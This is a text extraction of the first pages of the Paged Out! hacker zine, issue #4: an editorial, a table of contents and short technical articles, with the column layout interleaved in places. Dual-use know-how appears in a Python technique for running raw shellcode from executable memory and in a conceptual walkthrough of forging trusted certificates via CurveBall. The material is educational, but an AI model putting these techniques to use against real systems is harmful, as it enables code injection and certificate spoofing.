Thanks to visit codestin.com
Credit goes to www.scribd.com

0% found this document useful (0 votes)
354 views68 pages

Tech Enthusiasts' Zine Insight

Uploaded by

alaglevelcyb0rg
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
354 views68 pages

Tech Enthusiasts' Zine Insight

Uploaded by

alaglevelcyb0rg
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 68

HELLO, THIS IS YOUR (DEFINITELY)

HUMAN EDITOR, AGA.

I really like interacting with other


humans just like me.
Paged Out! Institute Working on Issue #4 allowed to interact
https://pagedout.institute/ with so many of you. To read a lot of
very nice things about the
Project Lead magazine and the work of the
whole Pagedout Institute crew.
Gynvael Coldwind
“Thank you for keeping the zine
Editor-in-Chief culture alive.”
“What a great project.”
Aga
“This is cool.”

DTP Programmer Yes!


foxtrot_charlie It is so cool to be making this, have many T(oday)IL(earned)
moments, and get to correspond with so many talented
and passionate people. I love writing the words ‘the article
DTP Advisor is ready to be published’.
tusiak_charlie
The three issues published thus far have been downloaded
over 370K times altogether. My human calculations tell me
Full-stack Engineer it’s a lot. Let’s add to that with the newest issue. This time
Dejan "hebi" we’ve also added some art for your viewing pleasure. Been
wanting to do that for a while, and now we’ve succeeded!
Reviewers
We are letting the Issue go from our hands into yours.
KrzaQ, disconnect3d,
Hussein Muhaisen, Max, Read it, share it, enjoy it!
Xusheng Li, CVS, Tali Auster, And let it inspire you to write for us! We want more, more
articles, art, and issues! :)
honorary_bot Aga
Editor-In-Chief

We would also like to thank:


Hey, woah, we have some space left, so I'm going to use it!
And there's no better way to use it than to again thank the
Artist (cover) whole team, all the authors, and artists for making this
ReFiend issue happen! Thanks everyone – great work!
Anyway, this is the second issue that we've released after
https://deviantart.com/refiend
coming back from the hiatus. We're still optimizing our
internal processes and still working on the PDF compilation
Additional Art engine (#4 should have less bugs than #3; PDFs are
cgartists (cgartists.eu) complicated, OK?), but we're already looking forward to #5!
Gynvael
Project Lead
Templates
Matt Miller, wiechu,
Mariusz "oshogbo" Zaborski
Legal Note
This zine is free! Feel free to share it around.
Issue #4 Donators Licenses for most articles allow anyone to record audio versions and post
Athanasios Kostopoulos and others! them online — it might make a cool podcast or be useful for the visually
impaired.
If you would like to mass-print some copies to give away, the print files are
If you like Paged Out!, available on our website (in A4 format, 300 DPI).
let your friends know about it! If you would like to sell printed copies, please contact the Institute.
When in legal doubt, check the given article's license or contact us.
Project Management and Main Sponsor: HexArcana (hexarcana.ch)
Chaos to Control 9
Headed back 18
Past Tense 23
Peaceful Waves (top), City Lights (bottom) 29
Pixel Art VFX! and Cube Skulls 36
Space Elevator 42
Suburbs 52
Tranquility at last 59
Warmth 66

Building automated machine learning with type inference 4

Python runs shellcode 6

Exploring basic cryptography in games 7


Generating Identicons from SHA-256 hashes 8
Quantum Random Number Generation 10
Vuln-Based Intro to Elliptic Curves 11

Human Shader 12
Why You Should Get An ATARI ST In 2024! 13
smol: the Shoddy Minsize-Oriented Linker 14

A couple of obscure executable formats 15


BPPB: A bplist-protobuf polyglot recipe 17

How collisions are avoided in a multi-master CAN bus? 19


You Wouldn't Gamble on a Router 20

What ransomware groups are doing with stolen money? 21

5 Little Programming Tricks 22


Apparently I didn't understand cPython's INPLACE_ADD and then someone stole it! 24
Brittle Green Threads 25
EasyTr0n 26
Generate ASCII-Root-Art using formal grammar and randomness 28
Ma, why is dict() slower than {} in Python? 30
More Type-level programming 31
Puzzles as Algorithmic Problems 32
Quick introduction to model-based design in C 33
Tiny "One Time Paste" The PHP Way 34
Truly Terrible Template Arithmetic 35
Type-level programming 37
Using a C++ library in a Python script 39

The FM RF Archival Method; The End of Analog Media Digitisation! 40

Brotli Zip Archive 41


Calculating VTL1 Heap Keys From VTL0 43
Headless GDB Scripting 44
Hooking Native Functions with Frida on Android 45
Inspecting Tcache Parsing 46

Bash Techniques to bypass a WAF! 47


Building a portable blue team home lab 48
Carrot disclosure 50
Drainers: Signing the Crypto Devil’s Contract 51
EasyNiceWorm 53
Format String Vulns for hackers in a hurry 54
How a variable name caused a critical vulnerability 56
IpFire RouterFirewall-IPS 57
Leaking Host KASLR from Guest VMs Using Tagged TLB 58
PSV-2020-0595: Post Authentication Command Injection on Netgear Router 60
Pickle Schizophrenia 61
Removing Editing Restrictions from Office Documents 62
Trojan Code 63
XZ Outbreak (CVE-2024-3094) 64
mFT: Malicious Fungible Tokens 65
Artificial Intelligence Building automated machine learning with type inference

Building automated This way, I expect LLM to provide us both:


- what task type matches the user’s query the best
machine learning (task_type)
- a return type of a response to the user’s query
with type inference (return_type)
Now we can run a model from Hugging Face. To run
a model for a chosen task type, we use getattr. It re-
HuggingGPT12 showed that it’s possible to use Large trieves a method from InferenceClient instance. To get
Language Model (LLM) to automate the machine learn- the method, it uses the name of the attribute, which is
ing. LLM can decide what task should it run and choose an str stored in task_type variable
a right model for the task, based a natural language
method_to_call = getattr(inference_client,
description. Hugging Face3 has a rich catalog of mod-
4 ֒→ task_type, None)
els to pick from. LangChain shows that it’s useful to
call_key =
integrate AI calls into regular Python code. Function
֒→ data_to_inference_client_call_property(
calling5 in OpenAI API and Stanford NLP’s DSPy67
֒→ task_type)
framework have independently opened our eyes to get-
if call_key in ["audio", "image"]:
ting structured output from LLM.
file = await file[0].read()
Let’s use their ideas, combined with output type in-
result = method_to_call(**{
ference, and we can start building programs like this
֒→ data_to_inference_client_call_property(
def dog_hat_appender(image): ֒→ task_type): file})
if ai("is there a dog on the image?", image)
֒→ : data_to_inference_client_call_property is a
return ai("draw a hat on dog’s head", helper function that retrieves a key (like: ”text”,
֒→ image) ”audio”) needed for calling an inference endpoint. A
value is a file provided by the user (if any).
return ai("draw a dog with a hat on this Okay. We get some output from the API call above,
֒→ image", image) but since we support many different types of tasks, we
have to handle the variety of possible kinds of responses
Under the hood, our implementation of ai("query", - whether it’s image classification or something else.
data) starts with sending a request to LLM to analyze We can once again delegate the thinking part to LLM,
the user’s query in order to retrieve the most important by including the Hugging Face Inference Endpoint re-
traits of the query – task type and return type sponse into a prompt, together with user’s original query
client.chat.completions.create( and the expected return type. The prompt is too long to
model="gpt-3.5-turbo-0125", put it here, but the most important thing is that it tells
messages=[{"role": "user", "content": query the LLM to synthesize the response to its most compact
֒→ }], form, as a response_type type
tools=tools_run) This way, we get a response that is always an str like
”blue”, ”true”, ”5”, ”dog”.
Those traits are defined inside tools_run
In the latest step, we parse this textual response to a
"task_type": { value of the most relevant Python type, like
"type": "string",
"enum": [ ..., "image_to_text", ... ], if response_json == "true":
"description": "Type of task that machine return True
֒→ learning model should perform, based if response_json == "false":
֒→ on a description of what user expects return False
֒→ from a model", }, try:
"return_type": { return int(response_json) # if that worked,
"type": "string", ֒→ then it’s a number
"enum": ["boolean", "string", "number", " except:
֒→ image", "audio"], return response_json # it’s either string or
"description": "Decide what type of value ֒→ a file
֒→ corresponds to the output from the Poor man’s version of HuggingGPT + LangChain +
֒→ user’s query the most", } Python types, as promised :D Full source code is in text-
1 https://arxiv.org/abs/2303.17580 to-ml GitHub repository8 . Happy hacking!
2 https://github.com/microsoft/JARVIS
3 https://huggingface.co
4 https://www.langchain.com/langchain
5 https://platform.openai.com/docs/guides/

function-calling
6 https://arxiv.org/abs/2212.14024
7 https://github.com/stanfordnlp/dspy 8 https://github.com/jmaczan/text-to-ml

https://github.com/jmaczan Jędrzej Maczan


https://maczan.pl
4 https://x.com/jedmaczan SAA-ALL 0.0.7
Assembly Python runs shellcode

n
ed o n from ctypes import *
Test .11.6 o Low-level route
3 n
P y thon 23.10 o # MOV EAX, 42; RET High(ish)-level route
C ntu shellcode = b'\xb8\x2a\0\0\0\xc3'
Ubu x86-64

Allocate readable /
NULL = 0 import mmap writable / executable
PROT_READ = 1 exec_mem = mmap.mmap( memory.
PROT_WRITE = 2 -1, len(shellcode),
PROT_EXEC = 4 flags=mmap.MAP_PRIVATE |
MAP_ANON = 0x20 mmap.MAP_ANONYMOUS,
MAP_PRIVATE = 2 prot=mmap.PROT_WRITE |
mmap.PROT_READ |
libc = CDLL("libc.so.6") mmap.PROT_EXEC)
libc.mmap.argtypes = [
c_size_t, c_size_t, c_int,
c_int, c_int, c_size_t ]
libc.mmap.restype = c_size_t Occasionally, you might feel an
addr = libc.mmap( inexplicable urge to execute x86-64
NULL, 4096,
shellcode directly in Python.
PROT_READ|PROT_WRITE|PROT_EXEC,
What is that? You never do?
MAP_ANON|MAP_PRIVATE,
-1, 0) Well, here are two(ish) ways
to do it anyway ;)
You can choose!

shellcode_tmp = ( exec_mem.write(shellcode) Write shellcode into


create_string_buffer( allocated area.
shellcode, len(shellcode)))

libc.memcpy.argtypes = [
c_size_t, c_void_p, c_size_t
]
libc.memcpy(addr, shellcode_tmp, All th
is
len(shellcode_tmp)) thoug is likely G
other h it m NU/L
OSes ight wor inux only,
with k
import os mino on some
r cha
with open(f"/proc/{os.getpid()}/mem", nges.
"r+b") as f:
f.seek(addr)
f.write(shellcode)

Make a function
shellcode_t = CFUNCTYPE(c_int)
pointer type.

Make a function
func_ptr = shellcode_t(addr) exec_mem_as_var = ( pointer pointing to the
c_byte.from_buffer(exec_mem)) shellcode area.
func_ptr = shellcode_t(
addressof(exec_mem_as_var))

res = func_ptr() Execute the shellcode!


print(f"res: {res} (should be 42)")

https://twitter.com/gynvael
https://infosec.exchange/@gynvael
Gynvael Coldwind, Łukasz Olejnik
6 https://twitter.com/lukOlejnik CC BY 4.0
https://mastodon.social/@LukaszOlejnik
Exploring basic cryptography in games Cryptography

Exploring Basic Cryptography in But this is only a taste of what the game offers and
how it hides its messages. To avoid spoilers, I will
Games: mention some of those ways in no particular order,
without delving too deeply into examples.
On the Example of Alice & Smith’s The Black
One of the methods uses the AES encryption
Watchmen1
algorithm with a proverb as the password. There is
also an image attached to the encrypted text that
hides secrets needed to decrypt the message. It is
done masterfully, and it did send me first on a wild
goose chase after the origin of the image. But the way
to go was to just look at it very closely.

The (not complete) list of other cryptography and


steganography methods the game taught me about
includes:
● message that looks like it’s in binary (e.g.,
(Alice & Smith, The Black Watchmen) 001111) but actually uses the Braille
alphabet
● old dead languages and runes that first need
I stumbled upon the game a couple of years ago. It is
to be recognized to be decoded (like old
one of the ARG-genre games that sends the player
Persian language)
out into the world (online but also optionally offline in
● non-printable Unicode characters
the physical world) to look for answers to its
● hiding messages in the spectra of audio files
questions. I do not have a background in IT or
● various ciphers4 (e.g., pigpen, beaufort,
cryptography, but I love languages and puzzles. This
rolling XOR, four-square, rail fence, VIC,
game offers fun with both.
nihilist, Arnold, playfair)
● Morse code
I wanted to focus on the overview of various methods
● word search hiding the name of the cipher to
the game uses to obscure the message that it wants
use among the words to cross out
the player to decode.
● hiding the message in an image that can
only be revealed using an appropriate layer
We start with a simple hiding of a shorter message
filter in a graphics software
within a longer one in our first tutorial mission. The
game eases the player in gently, offering in a clever
That’s quite a lot (and it does not even exhaust all the
way⸺as a page in the archive⸺information on
possibilities that The Black Watchmen explores). The
how to recognize the basic codes like decimal,
game offers both a fun way to learn decryption
hexadecimal, ROT132. The first codes are simple:
methods and an engaging story where the player, as
an agent of a secret organization, the titular Black
105 110 32 112 111 115 105 116 105 111 1103
Watchmen, is incentivized to use them. I am no expert
cryptographer after playing it but I do feel that I would
jjj.cnfgrova.pbz
be able to decode basic messages which were
35 35 4c 71 59 4e 68 4c
encrypted using some of the mentioned methods. As
for how that looks in practice⸺I hope I have
So far so good.
encouraged at least some of you to give the game a
go and see for yourselves :) I had a lot of fun playing
it, and I hope so will you if you give it a chance :)

1
Official game page:
https://www.blackwatchmen.com/
2
To be decoded on the site the link to is provided by
the game https://www.asciitohex.com/
3
I am not offering the decoded version, to not spoil
the fun for anyone willing to play the game or the
reader who would like to have a crack at the code
themselves. 4
Wikipedia has a lot of information on each of them.

Aga
SAA-ALL 0.0.7 7
Cryptography Generating Identicons from SHA-256 hashes

Generating Identicons from consists of three segments of different significance.


Hue (which is the most significant one) gets gener-
SHA-256 hashes ated from 4 bits, while saturation and lightness take 2
bits each. Let’s generate an avatar for "foo" and see
# What are Identicons? what we get3a .
Some services (like GitHub1 , Roll20, or Reddit) gen- def byte_to_color(byte):
erate simple, shaped-based avatars — aka Identi- h = byte >> 4
s = (byte >> 2) & 0x03
cons — for users who don’t upload their own avatar. l = byte & 0x03
These avatars look simple, but there are myriad of
possibilities we can choose from when it comes to norm_h = normalize(h, min=0, max=360)
norm_s = normalize(s, min=20, max=100)
generating them. Let’s take a look at one of them. norm_l = normalize(l, min=40, max=90)
return f"hsl({norm_h}, {norm_s}%, {norm_l}%)"

Well, it’s not bad, but it does not look good either.
We could improve it by defining a common theme
1: GitHub’s identicons that spans through all sections3b . The theme is just a
byte — which then gets normalized — calculated as
OK, but how will it work? — you may ask. Great ques- a XOR of all hash bytes.
tion, the algorithm will calculate SHA-256 from the
user’s identifier; the hash will then be used to gener- def byte_to_color_global_theme(hash, byte):
h = byte >> 4
ate fill colors for SVG shapes. SHA-256 hashes have s = (byte >> 2) & 0x03
32 bytes, which gives us a fair bit of maneuverability. l = byte & 0x03
Before we implement the part that’s usually different xor_bytes = lambda: acc, byte: acc ^ byte
theme = fold(hash, xor_bytes)
for each user (hash collisions do happen), we need to
prepare the part that’s common: SVG structure. norm_theme = normalize(theme, min=0, max=360)
norm_h = normalize(h, min=0, max=120)
norm_s = normalize(s, min=20, max=100)
# SVG scaffolding norm_l = normalize(l, min=40, max=90)
GitHub did squares, so we’re going to be original return f"hsl({norm_theme + norm_h}, {norm_s}%,\
{norm_l}%)"
and do circles. Let’s start by dividing a circle into
segments; it gives us a nice canvas to work with.
SVG has some tags for constructing basic shapes Now it looks too similar for my taste. However, the
— like circles, rectangles, or ellipses — frankly, theme seems to be a promising lead. Let’s add one
pizza slices are not considered ”simple”, so there’s no more level: ring themes. Similar to global themes,
<pizza-slice> to help us here; we need to default they are calculated as a XOR of all hash bytes for the
current annulus. Let’s implement it and see how it
to <path> .
looks3c .
Starting simple, we can create four circle segments, def byte_to_color_global_and_ring_themes(hash, byte):
h = byte >> 4
which — joined together — give us an illusion of di- s = (byte >> 2) & 0x03
viding one circle into fours2a . Next, we need to find l = byte & 0x03
the middle points of the four arches2b to divide fours xor_bytes = lambda: acc, byte: acc ^ byte
theme = fold(hash, xor_bytes)
into eights2c , and finally repeat the process two more ring = fold(get_ring_bytes(hash), xor_bytes)
times, but this time with smaller radii2d .
norm_theme = normalize(theme, min=0, max=360)
norm_ring = normalize(ring, min=0, max=120)
norm_h = normalize(h, min=0, max=30)
norm_s = normalize(s, min=20, max=100)
norm_l = normalize(l, min=40, max=90)
return f"hsl({norm_theme + norm_ring + norm_h},\
(2a) (2b) (2c) (2d) (2e)
{norm_s}%, {norm_l}%)"
2: SVG scaffolding

As a closing thought, one of the parameters of the


If we’d use one byte of the SHA-256 hash per annu-
<path> ’s data is the sweep-flag flag. It allows you to
lus sector, it still leaves us 8 bytes. We could squeeze
choose, whether an arc should be a sad face — as it
in another annulus2e — which would take exactly 8
is in our case — or a smiley face. If you’d flip the
bytes — but IMO an avatar with four rings is a bit
flag to be 0, then all arcs become smiley faces and
too much in 32 pixels (which is the most common
size for avatars in most services). the avatar emerges as a spiderweb3d . Here are a few
more avatars to look at: "bar" 3e , "spider" 3f , and
# Color me SHA-256 "AirBender" 3g .
Sticking to our initial idea of using one byte per an-
nulus sector, we need to figure out how to translate a
byte into a fill color. 8 isn’t divisible by 3, so there’s
no trivial way of using RGB with the same weight for
each color beam. Instead, we can use HSL1 , which (3a) (3b) (3c) (3d) (3e) (3f) (3g)

1 3: Avatars from various identifiers


https://en.wikipedia.org/wiki/HSL_and_HSV

Kamil Rusin
https://madebyme.today/
8 SAA-ALL 0.0.7
Chaos to Control Art
Mark G-hamm Artist
www.markgrahamartist.com
SAA-POOL 0.0.7 9
Cryptography Quantum Random Number Generation

Quantum Random Number Generation

1 Abstract from qiskit import QuantumCircuit , Aer , execute 1


2

Random number generation (RNG) is an important topic class QRNG : 3


def __init__ ( self ) -> None : 4
with vast applications, especially in relation to cyberse- self . _circuit = Qu antumCir cuit (1 , 1) 5
curity. Most of the RNGs programmers use in practice self . _circuit . h (0) 6

are pseudo-random number generators. But could there self . _circuit . measure (0 , 0) 7

be a way to obtain numbers that are truly random? self . backend = Aer . get_backend ( ’ 8
qasm _simulat or ’)
9
def get_ran dom_bit ( self ) -> int :
2 Quantum realm job = execute ( self . _circuit , self . backend ,
10
11
shots =1)
The answer is yes, and one (natural1 ) way to do it is counts = job . result () . get_counts () 12

with quantum mechanics, which is inherently random. return list ( counts . keys () ) [0] 13

Therein a qubit (quantum bit) can be found in a su- And now, we can run the following code to obtain a nat-
perposition state.2 Operationally, this means that the urally random bit.
qubit is both 0 and 1 at the same time. However, due to
the state collapse – one of the most basic rules of quan- qrng : QRNG = QRNG () 1
random_bit : int = qrng . ge t_rando m_bit () 2
tum mechanics – we can measure only one of these val-
ues simultaneously, and the result of such measurement There are, however, a few more, practical things that we
is probabilistic. While in general it can be more probable would like to address in the last section of the page.
to obtain one or the other, there’s a way to equalize it.
Let us consider a specific quantum state3 |R⟩:
1
|R⟩ := H |0⟩ = √ (|0⟩ + |1⟩), (1)
4 Final words
2
An observant reader might notice that we aren’t using a
where H is an operator called the Hadamard gate. The
quantum device in the example, but rather a simulator.
rules of quantum mechanics state that there’s equal prob-
This means that the code we present actually still gen-
ability (equal to 0.5) of obtaining |0⟩ and |1⟩ (that can be
erates a pseudo-random bit in a very elaborate way. To
interpreted as 0 and 1) when performing a measurement
change that, one would have to assign a real quantum
on |R⟩. This means that, in the end, we are left with a
device handle to the backend object of the QRNG class
naturally random bit.
instance.
A more observant reader might also notice the shots pa-
3 (Q)RNG rameter – which describes the number of repetitions of
the circuit executions – and be tempted to increase it in
In this work, we will use the qiskit library,4 with which order to get multiple random bits in one run. This won’t
we can use the IBM quantum machines. We prepare a work, since the order of the results is not known to us
class that will create |R⟩ state and measure it on a quan- (only their counts5 ).
tum device or a simulator thereof. The code is presented A commented version of the code with a Jupyter note-
on the listing below: book can be found on my GitHub.
1 By natural, I mean to highlight the fact that the nature of quantum mechanics is probabilistic. The bit that we’re about to generate

via execution of a quantum circuit is random by necessity (laws of nature).


2 Think Schrödinger cat – dead and alive at the same time.
3 The notation I introduce here is called bra-ket notation and is a standard one in quantum computing.
4 https://qiskit.org/
5 The reason for that is not a quantum phenomenon, but simply qiskit’s convention. In the most of the quantum computing experi-

ments, we’re interested in the statistics rather than separate experiments results.

https://twitter.com/TRybotycki Tomasz Rybotycki


https://www.linkedin.com/in/tomasz-rybotycki-01192582/
10 https://github.com/Tomev SAA-ALL 0.0.7
Vuln-Based Intro to Elliptic Curves Cryptography

Vuln-Based Intro to don’t simply add the 𝑥 and 𝑦 values, but follow some
slightly more complicated calculation3 . It can be shown
Elliptic Curves that addition is “nice”: 𝐴 + 𝐵 always equals 𝐵 + 𝐴, and
“𝐴 + 𝐵 + 𝐶” is well defined (no need for parentheses)4 .
Point multiplication. We denote 2𝐴 = 𝐴 + 𝐴, 3𝐴 =
This article will take you from zero to one in elliptic- 𝐴 + 𝐴 + 𝐴, and generally 𝑘𝐴 is 𝐴 added to itself 𝑘 times.
curve cryptography by studying a critical vulnerability It can be computed efficiently, using 𝑂(log 𝑘) additions,
that was found in EC code. We’ll focus on the math and by reading the binary digits of 𝑘. To understand how, try
won’t assume prior knowledge. Let’s GOOOO! to generalize this example: 20𝐴 = 2 ⋅ 2 ⋅ ((2 ⋅ 2𝐴) + 𝐴).
This is called the double-and-add algorithm.
The vulnerability Order of the curve. It turns out there’s a number 𝑛
CurveBall (CVE-2020-0601) was a critical vulnerability called the order of the curve, such that adding 𝑛𝐴 always
in Windows, disclosed to Microsoft by the NSA. It al- brings you back to where you started. Therefore, in a
lowed attackers to easily spoof X.509 root certificates; point multiplication 𝑘𝐴, the 𝑘 is actually “mod 𝑛”.
basically, to craft malicious certificates that would be Cryptography time! Creating a key pair. In prepara-
treated by Windows as trusted root certs! tion, decide on an elliptic curve, and some “base point”
In Windows, root certificate validation uses a cache, 𝐺 on it. These are “global constants”. To start, choose
so that certs don’t have to be validated twice. For what- a large random number, 𝑑 (say, 256-bit). Now, compute
ever reason, the cache only remembers the root cert’s the point 𝑄 = 𝑑𝐺 (remember it can be done in 𝑂(log 𝑑)).
public key, and not the entire cert1 . That’s it! Your private key is the number 𝑑 and your
The bug was that only the “public key” field of public key is the point 𝑄. This pair can now be used
the cert was cached, without considering another key- in some of the general public-key cryptography meth-
related field – something called “optional algorithm pa- ods, such as Diffie-Hellman or DSA. It is hard to break,
rameters”. This means that we could take some trusted because calculating 𝑑 given 𝑄 is a very hard problem5 .
root cert, change its “parameters” field, and it would
still be identified as a trusted root. But we can’t sign Putting it all together - the exploit
with it without having its private key. Could we change Where were we? Oh, yeah, the “parameters” field for
the “parameters” field in such a way that Windows ECDSA certs. By RFC 3279, it has this format (ASN.1):
would interpret the public key differently, allowing us EcpkParameters ::= CHOICE {
to sign even without knowing the original private key? ecParameters ECParameters ,
For plain old RSA certs, RFC 3279 says that this “pa- namedCurve OBJECT IDENTIFIER ,
rameters” field is simply NULL. Not very interesting, as implicitlyCA NULL }
it can’t be manipulated. However, among the Windows
Note that this is a CHOICE, i.e. a union, not a struct. In
trusted roots, many are not RSA but ECDSA (what-
the real world, you’ll always see namedCurve, specifying
ever that means), and for those, “parameters” specifies
the ID of a standardized curve and base point (usually
which elliptic curve they work with. It seems like the
NIST). But changing it to ecParameters lets you write
time has come to say something about...
down custom parameters: Your curve’s 𝑎, 𝑏, 𝑝, and the
Elliptic curves coordinates of your base point 𝐺.
Remember, the vuln doesn’t let us change the public
Elliptic curves are equations that look like this:
key (the point 𝑄); we can only reinterpret 𝑄 as a point
𝑦2 ≡ 𝑥3 + 𝑎𝑥 + 𝑏 (mod 𝑝) on a different curve, or with a different base point, 𝐺′ .
If we can make it so 𝑄 = 𝑑′ 𝐺′ and we know 𝑑′ , we win!
where 𝑎, 𝑏, and 𝑝 are constants, 𝑝 being a large prime2 . Basic exploit. Take a trusted ECDSA root cert, and
We call some pair of integers (𝑥, 𝑦) a point on the curve change the base point to equal the public key (𝐺′ = 𝑄).

if the equation is true when plugging 𝑥 and 𝑦 into it Relative to the moved base point 𝐺 , we now know the
′ ′ ′
(note the “mod 𝑝” operates on both sides). For exam- private key! It is just 1, because if 𝑑 = 1, then 𝑄 = 𝑑 𝐺 .
ple, 𝐴 = (2, 6) is a point on the elliptic curve 𝑦2 ≡ Advanced exploit. Generate your own private key
3 𝑑 ′ and define 𝐺′ = (𝑑′ )−1 𝑄 where the inverse is done
𝑥 + 𝑥 + 9 (mod 17); check it for yourself! Note we use
CAPITAL LETTERS to denote points (pairs of numbers modulo 𝑛, the order of the curve. Relative to the moved
′ ′ ′
that satisfy the equation), and lowercase letters to denote base point, now 𝑄 = 𝑑 𝐺 . Bonus: Your 𝑑 is kept secret!
simple numbers.
Point addition. There is a basic algorithm that re- Exercises for the diligent reader
ceives two points 𝐴, 𝐵 on an elliptic curve and outputs 1. Write the math part of the exploit in Python.
a third point. This algorithm is called point addition, 2. Study and exploit CVE-2022-0778 (in OpenSSL).
3 The calculation comes from a geometric manipulation of the two
and the output point is denoted by 𝐴 + 𝐵; however, we
points and the curve. Our space is bit warped because of the “mod 𝑝”,
1 This is technically good enough because the main point of X.509 but it still manages to have some geometry.
certificates is to certify public keys, but it’s still weird. 4 To complete the definition, we also need “point negation” and a
2 There are other forms of elliptic curves, but let’s ignore them and “point at infinity”. Go on and read up about those!
focus on this, one of the most prevalent forms used in cryptography. 5 Known as ECDLP: The elliptic curve discrete logarithm problem.

Yoni Rozenshein
https://twitter.com/1yoni
SAA-TIP 0.0.7 11
Demoscene Human Shader

ivec3 compute( int x, int y )


Human Shader {
int R, B;

Can we do computer graphics without computers, int u = x-36;


int v = 18-y;
or calculators, with pen and paper only? To test it, I int v2 = v*v;
created a mathematical picture/shader, and split int h = u*u + v2;
the work of computing its 71x40 pixels, just by if( h<200 )
hand, among 1966 volunteers, through the {
website https://humanshader.com R = 420;
B = 520;
int t = 5000 + h*8;
For each X and Y pixel coordinate, the shader math int p = shift(t*u,2);
produced an RGB color, taking on average only 10 int q = shift(t*v,2);
integer ADDs and 8 integer MULs. No DIVs, no int s = q+q;
decimals, just base-10 fixed point arithmetic. Our int w = 18 + shift(p-s,2);
if( w>0 ) R += w*w;
human processor performed at about 0.1 MIPS.
int o = s + 2200;
Every volunteer had to prove they carried all the R = shift(R*o,4);
math by hand before I approved their contribution. B = shift(B*o,4);
After three days, the work was completed: if( p > -q )
{
int z = shift(p+q,1);
R += z;
B += z;
}
}
else if( v<0 )
{
R = 150 + v+v;
B = 50;
int p = h + 8*v2;
int c = -240*v - p;
if( c>1200 )
{
Here’s the computer reference: int o = shift(6*c,1);
o = shift(c*(1500-o),2)-8360;
R = shift(R*o,3);
B = shift(B*o,3);
}
int d = 3200-h-2*(c+u*v);
if( d>0 ) R += d;
}
else
{
int c = x + 4*y;
R = 132 + c;
B = 192 + c;
}
R = min(R,255);
Pixel error rate was 31%. Interestingly, most errors B = min(B,255);
were not faulty computation, but mistakes made int G = shift(R*7+3*B,1);
return ivec3(R,G,B);
while copying numbers from one step to the next! }

The math sheet I handed out to the volunteers was // remove last n decimal digits from x
int shift( int x, int n );
in the format of an arithmetic school exercise, but
this is the equivalent code that they actually “run”:

iquilezles.org Inigo Quilez


https://www.youtube.com/@InigoQuilez
12 https://twitter.com/iquilezles Public Domain
Why You Should Get An ATARI ST In 2024! Demoscene

Why You Should Get An ATARI ST In 2024!


Though the very first model of ATARI ST was released
almost 40 years ago—in 1985 more precisely—you
can still have good reasons to get yourself one in
2024. Compared to its technically superior rival, the
Amiga, the ST and even the enhanced model entitled
STe could seem limited; however this is what made
things funny: go beyond what the machine could do
and achieve what could NOT be done.
Soon enough some crazy coders who belonged to a
mysterious and underground society called “The
Demoscene” started torturing the poor computer.
They could not live with its limited window, flanked
by sinister black borders, could not be content with
the 16 colours on the screen, and would love to
make big objects move frantically, like the Amiga did
thanks to its dedicated chips and who knows what
other indecent ideas were still shaping in their 12,000 colours instead of the usual 16 found in the awesome 2015
minds. "Sea Of Colour" demo by Dead Hackers Society
Please accept my apologies for not being a coder, I
have mostly been the main editor of several A fullscreen rotozoom (almost no black border)
diskmags and also painted quite a nice number of found in the 2003 "Posh!" demo by Checkpoint
pixel art graphics. But above all I have been a demo
lover for more than 3 decades; I hope this helps you
feel empathy.
The first limit that were to be broken was these
borders, usually one at a time. You could create an
“overscan” effect when you managed to remove the
horizontal or vertical borders but “fullscreen” was
the true grail when coders managed to remove all
four borders be it partially or totally. Even though
born with a 320*200 limited scope back in 1985, the
ATARI ST managed to expand up to about 410*274.
Should you want to read more about the various
types of “fullscreens” that were made possible, I
strongly suggest you read what coder Evil/DHS wrote
(ae.dhs.nu/hatari_overscan).
That being done, colours were next to come. Once again coders developed their own secret routes to do what could not be
done. First, the “rastersplit” technique managed to change the colour every line so that we were offered bright and colourful
skies, others yet pushed it even further like Zerkman/Sector One with his Multiple Palette Picture format allowing several
thousands of colours displayed on the screen! (github.com/zerkman/mpp)
By the way, while the ATARI STe was supposed to live up to the AMIGA standard, it was not quite successful. Of course it had a
wider range of colours, yet could only display 16, the blitter chip handled sprites and scrollings but few games ever made use
of it and last but not least, the DMA chip widened the audio possibilities. The latter was surely the best option to add more
sound than the basic chiptune that the ATARI ST could produce (and that even the older C64 righteously laughed at). Now
demos could enjoy 4 channel modules, even stream RAW files. Homemade players could replay 8 channels even sometimes 32
channel files; however these could obviously not be used in games nor demos (demozoo.org/productions/117891).
Unlike more modern computers i.e. the PC or even the Amiga, there never quite was an accelerator card for the ATARI ST, it
remained unchanged from its creation till now. The only feature that gradually had to be adapted was the storage device. Not
so easy to use/find floppies anymore in the 21st century, that’s why for almost a decade now most ATARIs have been equipped
with SD card readers. This not only allows an easy and smooth data transfer from PC to the ST but it also brings more storage
space (and transfer speed) than ever before. This explains why—very few—demos will only run from such a device, such as the
awesome Sea Of Colour by Dead Hackers Society. This very demo gathers all the efforts most coders have made over almost 40
years: overscan and fullscreen, multicolour pictures AND effects, streaming music and lots of modern effects.
As a conclusion if you have never felt drawn to the ATARI ST and STe, please give it a chance as there are plenty of awesome
demos and games made for it that break every limit you could think of. Start with my DEMOCYCLOPEDIA blog to learn more
about these many wonders (democyclopedia.wordpress.com).

Sébastien LARNAC / STS


DEMOCYCLOPEDIA, the encyclopedia of ATARI ST demos
SAA-TIP 0.0.7 https://democyclopedia.wordpress.com/ 13
Demoscene smol: the Shoddy Minsize-Oriented Linker

The demoscene hosts many sorts of competitions ing it glibc-specific. If you look at the glibc source
and sub-scenes, one of them being 4k intro. In (include/link.h, to be precise), you’ll notice the
such a competition (or compo), entries are expected link map structure actually has a lot more fields
to give the audience an audiovisual demonstration than just the standard SysV edition. This includes
of several minutes, while the executable may only a symbol hash table that glibc itself uses to speed
be at most 4096 bytes in size. This is typically up symbol resolution (l gnu buckets etc.). We can
achieved by generating visuals purely with shaders, simply reuse this data so we don’t have to calculate
and using a software synthesizer for music playback. hashes from strings at all. This cuts away both code
However, these methods only get you so far. The needed to calculate the hashes and code needed to
resulting binary must then be compressed using a parse all those ELF tables. Though, there’s a slight
special-purpose executable compressor or packer. problem here: l info tends to change size every
Such a tool needs to perform two tasks: optimizing few glibc releases. This can be worked around by
linking (removing file format overhead) and com- scanning for l entry and taking an offset.
pression. This article describes the tricks used in The second trick relies on a fun implementation
the optimizing linker smol. quirk of dynamically linked executables: the kernel
